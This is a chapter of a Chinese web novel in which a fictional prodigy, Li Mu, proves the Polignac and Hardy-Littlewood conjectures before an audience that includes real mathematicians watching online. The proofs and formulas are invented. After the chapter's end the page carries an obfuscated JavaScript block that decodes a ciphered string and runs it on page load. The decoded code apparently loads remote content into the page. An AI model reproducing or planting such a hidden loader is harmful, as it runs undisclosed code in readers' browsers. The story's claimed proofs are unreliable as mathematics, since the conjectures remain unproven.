英国,安德鲁怀尔斯的家。
电话声突然响起,安德鲁怀尔斯被吵了起来,当然同样被吵醒的还有他的妻子。
此时的英国正是半夜三更,大概也就三点多的时候,正是休息时间。
安德鲁怀尔斯一脸困顿地拿起了手机。
是谁这么晚的时候还给他打电话?
一看居然是西蒙唐纳森。
\b这个老家伙这么晚不睡,给他打骚扰电话?
不知道对于他们这些老年人来说,睡眠是很重要的?
接通电话,他就没好气地说道:“西蒙,如果你不给出一个能让我满意的理由,今晚你吵醒我的这件事情,我一定会记住的。”
“嘿,安德鲁,先别着急,我也是被别人叫醒的。”西蒙唐纳森说道:“猜猜看,你那还没过来的学生又在干什么大事?”\b
怀尔斯顿时一愣。
这说的是……李牧?
算算时间,华国那边好像确实正是白天。
“又发生什么了?”他疑惑的问道?
“刚才,我在美国的朋友突然打电话过来告诉我,华国那边传来了消息,李牧正在证明波利尼亚克猜想和哈代-李特尔伍德猜想。”
怀尔斯:“???”
他满脸写着问号:“确定?真的假的?\b”
“骗你干嘛?”西蒙唐纳森说道:“我现在可是正在看他证明的现场直播呢,波利尼亚克猜想都已经被他搞定了,现在轮到哈代李特尔伍德猜想了。”
一瞬间,怀尔斯就不困了。
开玩笑,这种数学界的大事件他怎么可以错过?
“直播网址给我,我现在就去看。”
“发给你了,你待会儿可要给我翻译翻译李牧都在说些什么,你毕竟都学了这么久的中文。”
“这我可不保证,我能够完全翻译出来,你也知道中文很难学。”
怀尔斯一边说着,一边翻身起床,同时给了他的妻子一个眼神,让妻子自己继续睡。
他的妻子脸上露出了无奈的表情。
有时候当一个数学家的妻子,面对这样的事情,似乎也算是稀松平常的。
也许对于大多数数学家来说,数学都要比爱情重要一些。
怀尔斯来到了书房,端了一杯咖啡,打开电脑。
进入到了唐纳森发过来的直播间中。
这个是中文网站,所以网页的文字也都是中文的。
虽然可以使用网页翻译功能,但是怀尔斯还是靠着自己的中文能力,仔细辨认了一下。
“李牧……证明……波利尼亚克猜想和哈代-李特尔伍德猜想!”
“居然是真的!”
他连忙点开了直播,就看见里面的李牧正在黑板上写着数学式子。
“这是在证明……哈代-李特尔伍德猜想!”
只是看了一眼,怀尔斯就看出了李牧在写什么。
“这个是分歧理论……居然是运用上了非阿基米德绝对值……偶买噶,这是真的吗?”
电话中再次传来了西蒙唐纳森的声音。
“这当然是真的,快给我翻译一下,锻炼一下你的同声传译能力。”
怀尔斯:“你别急,我自己都还没有听懂呢……”
\b西蒙唐纳森却还是催促着:“快给我翻译!偶,噶的,李牧的这一步实在太关键了,看他在黑板上写的东西,好像是成功地找到了孪生素数对和素数定理之间的叠加关系?哦,他在说什么?”
就这样,一位菲尔兹奖得主,一位菲尔兹特别奖得主,半夜起床连着线,听着一个华国年轻人的报告。
而事实上,像他们的还有很多。
世界上一大堆知名的数学家都进入了这个直播间。
不论这些数学家所处的时区正是几点,是否是休息时间。
哪怕是像日国和寒国、新阿坡等一些国家的数学家,由于他们的时区和华国相差不大,他们基本都还在工作时间,却也被这场报告所吸引。
于是乎,就导致这些国家大学数学系的学生们,在上课之前临时收到了老师请假的消息,更有甚者,他们正上着课,然后老师就打开了直播间,带他们一起看起了李牧的证明。
美其名曰:见证历史。
实际上只不过是他们的老师想看。
当然这种情况往往带来的结果就是,不管是老师还是学生,都是一脸懵逼。
谁让内容太深奥了。\b\b
不仅是中文他们听不懂,所讲述的内容他们也都听不懂。
对于他们来说,唯一值得庆幸的是,李牧在黑板上写下的数学式还是能够让他们进行联想,从而弄明白大致是怎么证明的。
不过,哪怕是想做到这一点,也很困难,也就那些顶级的数学家,而且还得是对相关知识有着深入理解的数学家能够轻松理解,至于其他能力稍微差一些的,或者是研究其他领域的数学家,就只能半懵半懂,或者是从头懵逼到尾。
看不懂,根本看不懂。
……
京大礼堂。
台上的李牧,并不知道自己的报告已经吸引了那么多国际知名的数学家来看。
他一心一意地继续在台上进行着证明。
不管是分歧理论还是非阿基米德绝对值,都是他在最近想到的方法。
而这些灵感的来源,就在于那天林尧教授的报告。
林尧那天的报告主题【射影簇中超曲面的非阿基米德亚形映射】,尽管和哈代-李特尔伍德猜想没有太大的联系,但是数学和数学之间是共通的,方法之间也是共通的。
只要找到了其中的关系,就能够将其利用起来。
“……通过定理2.1和定理2.2,特征p的有限场的代数扩展,其非阿基米德绝对组与^Zp同构于……”
【A(F)→H1(GF,T(A))……】
\b在黑板上再度写下了一个式子。
李牧站直了身体,脸上略带笑意。
而与此同时,场下那些听懂的数学家们,则再度露出了吃惊。
“等等……他这是把整个问题转化成了代数几何问题?”
邱成桐眯起了眼睛。
李牧赫然通过一系列的转换,竟是在这一步把原来的哈代-李特尔伍德猜想,完全转换为了代数几何中的问题。
“他难道想用代数几何的方法解决吗?”
邱成桐的心中,已然生出了这个想法。
用代数几何的方法来解决数论中的问题!
这是多么疯狂的一件事。
在过去,这么做过的数学家中,有一位叫做格尔德法尔廷斯。
就是那位当今世界上最顶级的数学家之一,其利用代数几何的方法,证明了数论中的莫德尔猜想,最终也借此得到了菲尔兹奖。
\b而现在李牧也要用这种方法来完成证明?
旁边的张一唐,也是同样的表情。
他见过很多天才,他自己也算是一个天才,但是却也没想到李牧会打算这么做。
与此同时,在直播间中也有很多意识到李牧意图的数学家们,都为之倒吸一口冷气。
“这真的能做到吗?”
英国,安德鲁怀尔斯和西蒙唐纳森两人一直都在通话中,对李牧的报告内容进行交流。
他们都是顶级的数学家,所以也能够通过李牧所写的内容,理解其中的意思。
而对于这个问题,他们也不由保持了半晌的沉默。
直到最后。
“希望他可以吧。”
哪怕李牧是用其他方法把这个猜想给证明出来,大概都不会让他们如此激动。
但如果真的是利用代数几何方法把这个问题给搞定了,那么这对于数学界的意义是十分深远的。
因为这将再度激发数学家们对实现郎兰兹纲领,以及实现代数几何和数论统一的信心。
这场报告,也将会成为数学界的经典报告。
……
主席台上。\b
李牧微微转过头笑道:“相信已经有一些朋友看出了我的想法。”
“那么到这里,我们也将正式进入到代数几何的领域”
“而在这里,请让我先简单地为大家介绍一个新的理论。”
“我管它叫k-模理论。”
“你们暂时可以将它简单理解为k理论和模空间的结合。”
他的这句话,再度让在场的数学家们为之震惊了起来。
把K理论和模空间进行结合?
K理论和代数几何,代数数论等领域都有着密切关系,而模空间又是代数几何重点研究的对象。
这两者在过去也不是没有过被结合起来使用的先例,但很少很少,因为一直都没有一个系统的方法,能够让这两种方法完美的结合起来。
而现在李牧的意思……就是要实现这一点?
李牧没有多做解释,转过头,便在黑板上开始写了起来。
场下所有人都屏息凝神,哪怕是看不懂的,也知道李牧在干大事。
随着一个黑板的式子列出,邱成桐就露出了恍然的表情。
“原来如此,竟然是将模空间中的每个点按照K0函子来计算,以此生成投射模同构类的半群……对了,再加上该模空间的不完备性,之后,他大概就要借此对孪生素数对的分布进行估计了……”
\b作为顶尖的数学家,邱成桐的数学直觉也当然很强。
几乎是很快的,他就看出了李牧的目的。
但虽然他看出来了,让他去做的话,他也只能选择放弃。
想要做到这一点,在技术上太难太难。
特别是后面需要进行的计算环节,就更加考验对整个方法的把控。
他年轻的时候或许还能试一试,而现在,也不得不服老了。
在之后,李牧也确实如他所料的那般,开始了大量的计算。
他的这些计算,给现场的其他人带来一种走钢丝的感觉,一旦误差一步,带来的便是绝对的错误。
偏偏李牧又像是人形计算机一样,把整个复杂的计算过程给处理的无比完美,其中他在数学方面的直觉更是表现得淋漓尽致。
而这样的计算也需要足够的黑板。
于是人们就看见旁边的工作人员不时地拖上来一块小黑板,直到全部的20块小黑板全部拖上来后
【综上所述,π2(N)约等于∫dt/(lnt)^2≈2Ct(N/(ln)^2N】
【其中Ct为孪生素数常数。】
【证毕。】
李牧在最后一块黑板,最后一片空白区域上,写下了最后三行字。
“到这里,我想哈代-李特尔伍德猜想正式成为历史。”
“本场报告的所有内容结束。”
“请让我在最后荣幸且自豪地为大家介绍,波利尼亚克-李定理,以及哈代-李特尔伍德-李定理。”
李牧微微一笑,而后向着听众席上鞠了一躬。
掌声雷动。
他真的做到了,\b用代数几何的方法,解决了一个数论问题!
(本章完)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();